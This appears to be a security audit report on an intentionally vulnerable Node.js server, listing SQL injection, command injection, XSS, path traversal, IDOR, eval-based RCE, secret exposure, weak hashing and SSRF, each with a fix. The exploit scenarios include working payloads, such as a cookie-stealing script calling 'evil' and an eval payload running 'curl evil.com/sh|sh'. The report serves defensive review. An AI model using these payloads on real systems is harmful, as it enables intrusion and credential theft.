実行日: 2026-05-02 対象: vulnerable-app/server.js
- ファイル:
vulnerable-app/server.js:38 - Severity: High
- Description: The
/api/loginendpoint builds a SQL query via template-literal interpolation ofreq.body.usernameandreq.body.passwordwith no parameterization or escaping, then executes it viadb.prepare(query).get(). Better-sqlite3'spreparedoes not sanitize interpolated values — only bound?placeholders are safe. - Exploit Scenario: An attacker sends
POST /api/loginwith{"username":"admin' --","password":"x"}. The query becomesSELECT * FROM users WHERE username = 'admin' --' AND password = 'x', bypassing authentication and returning the admin record (including the plaintext password and role).' OR 1=1 --returns the first user equally trivially. - Recommendation: Use parameterized queries:
db.prepare("SELECT * FROM users WHERE username = ? AND password = ?").get(username, password). Also store passwords using a salted strong KDF (bcrypt/argon2), not plaintext.
- ファイル:
vulnerable-app/server.js:56 - Severity: High
- Description: The
/api/pingendpoint passes the unvalidatedhostquery parameter directly into a shell command viachild_process.exec(), which spawns/bin/sh -c(orcmd.exe /con Windows) and interprets shell metacharacters. - Exploit Scenario: An attacker requests
GET /api/ping?host=8.8.8.8;cat%20/etc/passwd(or?host=x%26whoamion Windows). Shell metacharacters are interpreted, resulting in arbitrary command execution as the Node process user — full server compromise. - Recommendation: Replace
execwithexecFile/spawnusing an argument array (execFile('ping', ['-c','3', host])) and strictly validatehostagainst a hostname/IP allowlist regex.
- ファイル:
vulnerable-app/server.js:74 - Severity: High
- Description: The
/searchendpoint reflects theqquery parameter directly into an HTML response with no encoding/escaping.res.senddefaults toContent-Type: text/htmlfor string payloads, so the injected markup is rendered. - Exploit Scenario: An attacker crafts
https://victim/search?q=<script>fetch('https://evil/steal?c='+document.cookie)</script>and lures a victim to click it. The script executes in the victim's browser in the site's origin, enabling session theft and account takeover. - Recommendation: HTML-escape user input before embedding (use a templating engine with auto-escape, or escape
& < > " 'manually). AddContent-Security-PolicyandX-Content-Type-Options: nosniffheaders.
- ファイル:
vulnerable-app/server.js:100-104 - Severity: High
- Description: The
/api/filesendpoint constructs a file path usingpath.join(__dirname, "uploads", filename)with the unsanitizedfilenamequery parameter.path.joinresolves..segments, allowing escape from theuploadsdirectory and read of arbitrary files viafs.readFileSync. - Exploit Scenario: An attacker requests
GET /api/files?filename=../../../../etc/passwd(or..\..\..\..\Windows\win.ini). The server reads and returns arbitrary files readable by the Node process — source code (including the hardcoded secrets inserver.js), SSH keys, configuration, and database files. - Recommendation: Resolve the final path and verify containment:
const resolved = path.resolve(uploadsDir, filename); if (!resolved.startsWith(uploadsDir + path.sep)) { return res.status(400).end(); }. Prefer an allowlist of filenames or opaque IDs mapped to real paths server-side.
- ファイル:
vulnerable-app/server.js:128-136 - Severity: High
- Description: The
/api/admin/usersendpoint authorizes solely based on a client-supplied query parameterrole=admin. There is no authentication and no server-side authorization check. - Exploit Scenario: Any unauthenticated attacker requests
GET /api/admin/users?role=adminand receives the full users table including usernames, plaintext/MD5 passwords, emails, and roles — yielding immediate admin credential disclosure. - Recommendation: Authenticate the request (verified session/JWT) and derive role from server-side user state. Never trust client-supplied authorization claims via query params or headers.
- ファイル:
vulnerable-app/server.js:141-148 - Severity: High
- Description:
/api/users/:idrequires no authentication or authorization and returns the full user record — including the password and role columns. IDs are sequentialINTEGER PRIMARY KEY AUTOINCREMENT, so they are trivially enumerable. - Exploit Scenario: An attacker iterates
GET /api/users/1,/api/users/2, … and harvests every user's credentials. Combined with the seeded plaintext rows (admin/admin123), this yields immediate admin takeover. - Recommendation: Require authentication, enforce that callers can only access their own record (or have admin role verified server-side), and never return password fields. Select explicit columns rather than
SELECT *.
- ファイル:
vulnerable-app/server.js:180-188 - Severity: High
- Description:
/api/computepasses the request body fieldexpressiondirectly toeval(), executing arbitrary attacker-supplied JavaScript inside the Node.js process. - Exploit Scenario:
POST /api/computewith{"expression":"require('child_process').execSync('curl evil.com/sh|sh').toString()"}yields full remote code execution as the Node process user — complete server compromise, exfiltration, lateral movement. - Recommendation: Remove
evalentirely. If math evaluation is required, use a sandboxed expression parser (e.g.,mathjs.evaluatewith a restricted scope) or strictly validate input against a tiny grammar.
- ファイル:
vulnerable-app/server.js:193-203 - Severity: High
- Description:
/api/debugis unauthenticated and returns hardcodedDB_PASSWORD,API_KEY, andJWT_SECRETin the JSON response body to any caller, along with runtime details. - Exploit Scenario: An attacker hits
GET /api/debugand obtains the database password, API key, and JWT signing secret. With the JWT secret an attacker can forge arbitrary authenticated tokens (admin impersonation if any JWT auth is later added); the DB credential and API key enable downstream pivoting. - Recommendation: Remove the endpoint entirely. Load secrets from environment variables / a secret manager (never hardcoded), and never expose them via any HTTP response. If a debug endpoint is required, gate it on strong authentication and a non-production environment check.
- ファイル:
vulnerable-app/server.js:29-31 - Severity: Medium
- Description:
JWT_SECRET = "super-secret-key-12345",API_KEY, andDB_PASSWORDare hardcoded constants in source code committed to VCS. The JWT secret is also a low-entropy guessable string. - Exploit Scenario: Anyone with source access (repo collaborators, leaks, the path-traversal at
/api/files, or the disclosure at/api/debug) trivially obtains the secrets. The values persist forever in git history even after rotation, and the predictable JWT secret would enable token forgery if the constant is ever wired into ajwt.sign/jwt.verifyflow. - Recommendation: Load secrets from environment variables or a secret manager at startup. Use a cryptographically random, high-entropy JWT secret. Rotate any committed credentials immediately and rewrite git history if feasible.
- ファイル:
vulnerable-app/server.js:164 - Severity: Medium
- Description:
/api/registerhashes user passwords with unsalted MD5. MD5 is broken for collision resistance and, more importantly here, is extremely fast and unsalted — making rainbow-table and brute-force recovery trivial. - Exploit Scenario: When the
userstable leaks (via the IDOR at/api/users/:id, the SQLi at/api/login, or the authz bypass at/api/admin/users— all confirmed in this codebase), unsalted MD5 hashes are cracked en masse in seconds with off-the-shelf tools, exposing user credentials likely reused on other services. - Recommendation: Use a memory-hard password KDF with per-user salt: argon2id (preferred) or bcrypt with an appropriate work factor. Migrate existing hashes opportunistically on next successful login.
- ファイル:
vulnerable-app/server.js:114-122 - Severity: Medium
- Description:
/api/fetchperforms an outbound HTTP request to a fully attacker-controlledurlquery parameter — host and path included viahttp.get(url)— and returns the response body to the caller. No allowlist, no IP/metadata filtering, no redirect handling. - Exploit Scenario: An attacker requests
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/to exfiltrate cloud IAM credentials, orhttp://127.0.0.1:<internal-port>/adminto reach internal services not exposed publicly. - Recommendation: Validate
urlagainst a strict host allowlist; resolve DNS and reject private/loopback/link-local ranges (RFC1918, 127.0.0.0/8, 169.254.0.0/16, ::1, fc00::/7) before connecting, including post-resolution to defeat DNS rebinding; disable redirects or revalidate after each hop.